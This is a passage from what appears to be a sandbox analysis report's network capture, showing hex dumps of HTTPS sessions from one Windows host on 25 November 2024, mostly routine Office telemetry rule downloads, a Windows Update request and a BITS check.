4c f0 78 16 1a 4b 24 1b 55 59 49 56 97 3f 30 3e a7 e9 cd 4c d1 ce f7 d1 0d 3f cb 92 49 14 c8 cb b4 28 67 c1 55 07 db 9a ce 49 f3 1a c6 49 41 23 3f 5e 57 fb 1d b0 b7 89 71 Data Ascii: S$<DEuw(P\|m\ijn3X3JkGIC</02:gJJ~21KkI9vJxdHkF]=i}YG~*{9B\w<fPm"o\u,E$R$n~\Gmhal6FLxK$UYIV?0>L?I(gUIIA#?^Wq
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 14 1b a7 bb bc 90 09 19 7e e2 81 c7 27 ae d1 5d 6d e4 51 d8 de 5b 5c 36 ef 29 72 91 45 1a fc aa e7 1c 80 3f 13 4e 6e ec 8a 70 b2 ba 20 d3 fc 3d a6 69 97 92 1f bd e7 c7 86 dd f3 32 91 d9 7f d9 f6 ad 4d 36 d2 38 2e 25 b9 95 96 45 6c ee 8d 97 e6 c6 3b 7a 56 66 a9 26 75 a8 52 49 db ca b9 fd dc 5f 28 6e 9c fe bd 2b 52 d9 ec ac ed e5 89 d6 45 2d c7 fb 4d ed 50 e3 a1 a7 37 72 dd e5 a0 58 e3 92 e1 55 a3 dd 95 6d bb bb 74 03 fb b4 29 02 16 21 57 2d 17 ee d7 f8 b3 ef 54 bc 45 ac 5c 88 60 b0 b1 b6 56 f3 63 3b 5b 76 df 24 0c 7e 78 15 4b 56 d6 9a ca 35 31 aa cb 2a af f0 b7 dd cf 73 f8 53 84 65 62 2a 4d 5c b5 a9 44 97 1a 4f 9e bf bb 2d 1e c6 db f7 97 8c 10 7d eb 8e d6 16 4b 2b 7f 2e e5 96 4b 69 54 06 66 fb cb c5 74 76 af 79 7b a7 b5 ec 77 2d 15 b5 cc ac 60 8d a3 da 58 Data Ascii: ~']mQ[\6)rE?Nnp =i2M68.%El;zVf&uRI_(n+RE-MP7rXUmt)!W-TE\`Vc;[v$~xKV51sSebM\DO-}K+.KiTftvy{w-`X
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: fa 67 ad 64 2e 6d 63 69 6d 9a 49 04 12 7f aa 93 ef 46 3b e3 da b5 e3 78 2f 6c 70 55 66 8a 75 f9 95 be 65 60 6a f9 12 31 f6 8d e8 c6 ea 46 08 ec 65 99 e2 69 0c 4a ce df 66 5f 9d 80 ed 8a cc d3 f5 1b 6b 8b 58 ee 6d ef 16 58 e4 5f 97 77 de fa 7e 1e 95 72 c2 c2 ca c6 cd ad ec e2 5b 68 d5 fc cd aa c5 b6 9e bb b9 a4 9a ce de 4b 89 64 68 20 69 3e ff 00 ee d4 6e 90 e3 a9 ff 00 6a 8b 02 9e a4 6b a8 41 1c 8b 1e e5 69 24 fb ab 1b 6e dd f9 73 8a d1 83 cc 95 78 5e 3f bd 54 2c 2d ac a3 93 ed 29 67 1c 72 37 de 6d a3 77 bf 35 b5 6e c0 56 53 b2 3a a9 cb 9b a8 eb 5b 60 bc 9e ad 56 b8 0b 8a af 34 e9 1c 6c ee ca aa bf 79 99 be 55 a7 f9 88 63 f3 47 cc 19 73 f2 fa 57 3b 4d 9d 2a 56 0b cb 88 2d ed 5a 5b 99 56 28 d5 49 66 6f e1 02 bc c7 50 d4 6d af b5 25 b6 8e 36 90 4f 21 3e 66 Data Ascii: gd.mcimIF;x/lpUfue`j1FeiJf_kXmX_w~r[hKdh i>njkAi$nsx^?T,-)gr7mw5nVS:[`V4lyUcGsW;M*V-Z[V(IfoPm%6O!>f
2024-11-25 04:46:30 UTC	16067	IN	Data Raw: 5c 47 a9 58 c4 37 41 9f 2c 19 23 db f3 29 3d 71 f8 d6 b2 91 84 29 a6 ee 73 ba df da 6c e4 6d 3e de 56 68 e3 da df 2b 7d d2 46 78 ae d7 e1 a6 ad ae 6a 7a 6c f0 6a 0c cb f6 6c 47 1d cb 7d ff 00 5c 60 f5 e3 bd 72 7e 27 36 63 50 8e 2d 3f 73 34 8b 89 19 9b ef 1c f7 fa 56 cf 85 75 2b cb 0b 59 ed 12 06 6b 98 f0 63 89 98 2b 73 f5 ea b9 15 cf 53 de 47 75 3d 15 ce b3 c4 36 31 df 68 f2 db ce cc de 7e 12 45 5f 97 77 3c 75 fc eb 9c 9b 49 8e eb c3 f3 bd bc f2 79 b6 d1 62 25 dd bb cc 78 f8 da 7e b8 fc eb 41 7c 41 67 23 47 a7 df 4f f6 6b c8 f1 e6 ee 5d cb f8 11 d7 e9 50 db 6a 5e 4e ad 2f db 65 8f ec 92 47 e6 47 2a ff 00 cb 32 4f 3d 70 47 dd 1f f7 d5 44 14 91 52 e5 93 29 db df 3d ef 87 6d ae ed 2e 7c b9 9a 31 1c f1 c9 d5 88 eb b8 63 39 15 cf f8 82 d4 c6 ca ee fe 6b 4a d8 Data Ascii: \GX7A,#)=q)slm>Vh+}FxjzljlG}\`r~'6cP-?s4Vu+Ykc+sSGu=61h~E_w<uIyb%x~A\|Ag#GOk]Pj^N/eGG*2O=pGDR)=m.\|1c9kJ
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 9b ff 00 d5 de a0 bb 8e 57 9a 39 43 33 08 ff 00 e5 97 1b 5b eb 9a 46 92 0b 2b e8 e5 f2 a3 8c cf c6 ef ba cc 4f f3 35 56 d0 84 f5 26 3b 66 56 8d f7 36 df bd b7 8d b9 a5 91 7e ee 59 97 6e 36 ed 6f 4a 6c d7 76 90 dc 2d be e9 1a 4b 96 23 6e ef bb c6 7f a5 4d 21 43 d3 ad 25 70 d3 b8 fb 3b 93 32 ec 75 da df ef 7c b4 f5 ca ab 6f ac c9 12 76 93 64 0c d1 5c 32 92 8c df 32 71 eb 57 16 59 7e cb 18 7d be 6e d1 e6 7f 12 a9 c7 34 e5 15 7d 02 32 76 d4 97 cc da d8 3d 29 33 b7 8f bd ba ab 35 c4 66 45 8c ca bb 99 72 ab ed eb 4f de bd 0b d3 e5 12 95 cb 51 83 b7 27 fe f9 aa d2 4a 7e d9 e5 fc df 77 2d ba 8d f2 26 d2 9f 32 37 de a9 64 08 eb b4 d4 da c3 6e fb 0d dd 89 17 0d b8 d4 eb 26 17 96 ac c6 93 ca dd 1a af dd e3 fd ea 9e 17 df 6f c3 73 fe d5 54 a0 38 55 e8 3a 69 33 b8 d3 Data Ascii: W9C3[F+O5V&;fV6~Yn6oJlv-K#nM!C%p;2u\|ovd\22qWY~}n4}2v=)35fErOQ'J~w-&27dn&osT8U:i3
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 87 5f b3 48 db be 71 c0 db c0 01 71 52 da 68 d1 49 dc d5 f0 8d 81 1a 1d b2 41 e5 c1 0c 6b 95 55 8f e6 6c 8e 7a f4 cd 49 a9 5a ce cd 1c 6e bb a4 93 85 6d bb 92 11 dc ff 00 f5 ab 52 dd 62 87 f7 68 db 63 db fe ad 57 f5 ac b8 e4 13 6b d2 79 52 ac 8b 1a e6 4f e2 55 39 c0 c7 e1 52 95 dd ca 93 b2 45 c7 d3 e2 95 58 dd b3 5c 8d a0 6d e7 0a 07 4e 3b d6 0e 97 6b 77 06 b5 7d 79 76 bb 4e d0 2d 95 5b e4 58 fe 9f de ae 9a d6 44 6d db 5b 76 ef f8 0d 53 6d 2e c9 ae 9a 73 b9 64 6c 7d e9 09 55 c7 a0 34 bd 47 7e c6 36 a6 c5 ed 56 31 2a b0 93 2e ae bf 75 48 f5 f6 ae 77 5b f1 95 a6 97 0d 8d bd bc bf 6a 93 94 bb 81 7e fa f5 c6 4f 4d de d5 a3 ae 48 f6 2b 25 b3 ac 7e 5a e4 6e fe ef 53 f3 7b 1e 2b 8f d5 2c 46 a5 a7 ae af e5 2c 7a a5 d4 fb fc ad bb 7f 76 38 24 0f e2 e7 bd 55 ac 82 Data Ascii: _HqqRhIAkUlzIZnmRbhcWkyROU9REX\mN;kw}yvN-[XDm[vSm.sdl}U4G~6V1*.uHw[j~OMH+%~ZnS{+,F,zv8$U

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044631Z-174c587ffdftv9hphC1TEBm29w00000005c000000000ac9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:31 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b12c7864-501e-007b-43bf-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044631Z-178bfbc474bscnbchC1NYCe7eg000000070g00000000kuux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:31 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 876ff6fa-901e-00a0-47eb-3d6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044631Z-178bfbc474bv7whqhC1NYC1fg4000000070g000000005gh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 40d9340c-a01e-0050-06b8-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044631Z-178bfbc474bwh9gmhC1NYCy3rs00000006yg00000000hzsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6ea5360a-801e-002a-4904-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044631Z-178bfbc474b7cbwqhC1NYC8z4n00000006vg00000000bx29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49776	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WXfGgr4zxCL9dy4&MD=VeOW8cAr HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 04:46:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0d3026e6-331b-4cc2-9886-07e2212e4161 MS-RequestId: 2e24cca2-a5e9-494f-988f-fb4c63097e7b MS-CV: SoMKbC4liEuJs+dY.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 04:46:30 GMT Connection: close Content-Length: 24490
2024-11-25 04:46:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 04:46:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044633Z-178bfbc474bxkclvhC1NYC69g400000006y0000000006k3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49790	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 04:46:33 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=103618 Date: Mon, 25 Nov 2024 04:46:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: a839412a-a01e-0032-5a3c-3d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044633Z-174c587ffdf7t49mhC1TEB4qbg00000005bg00000000ccvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
